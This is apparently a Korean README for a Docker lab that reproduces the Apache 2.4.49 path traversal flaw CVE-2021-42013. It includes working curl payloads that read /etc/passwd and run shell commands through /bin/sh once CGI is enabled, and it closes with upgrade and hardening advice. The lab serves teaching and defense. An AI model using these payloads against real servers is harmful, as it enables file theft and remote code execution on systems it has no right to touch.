
Docker 환경에서 Apache HTTP Server 2.4.49(CVE-2021-42013) 취약점을 시연하는 실습.
이 프로젝트에서는 Apache HTTP Server 2.4.49 버전에 존재하는 CVE-2021-42013 취약점을 Docker를 사용하여 구축한 실습 환경에서 시연했습니다.
목표는 취약점이 어떻게 발생하는지, 어떻게 작동하는지, 시스템에 미치는 영향을 통제된 환경에서 분석하는 것입니다.
본 연구는 교육 및 실습 목적으로만 준비되었습니다.
.
├── Dockerfile
├── index.html
└── README.md
프로젝트를 실행하기 전에 다음 항목이 설치되어 있어야 합니다.
먼저 repository를 컴퓨터에 다운로드합니다.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
폴더로 이동합니다.
cd apache-cve-2021-42013-lab
Docker 이미지를 생성합니다.
docker build -t apache-2.4.49-src .
Container를 시작합니다.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Container 내부로 들어갑니다.
docker exec -it apache-src /bin/bash
Apache 버전을 확인합니다.
/usr/local/apache2/bin/httpd -v
Container에서 나가려면:
exit
CGI 모듈이 활성화되어 있는지 다음 명령어로 확인할 수 있습니다.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
그런 다음 Apache를 다시 시작합니다.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
CGI 모듈을 비활성화하려면:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
더 많은 시스템 정보를 확인하려면:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
설치가 완료된 후:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
RCE 시나리오를 시연하려면 mod_cgi 모듈이 활성화되어 있어야 합니다.
이 취약점을 해결하려면 Apache HTTP Server를 2.4.51 이상의 최신 버전으로 업그레이드하는 것이 좋습니다. 또한 CGI를 사용하지 않는다면 비활성화하고, 필요한 디렉터리에 대해서만 적절한 접근 권한을 정의하는 것이 권장됩니다.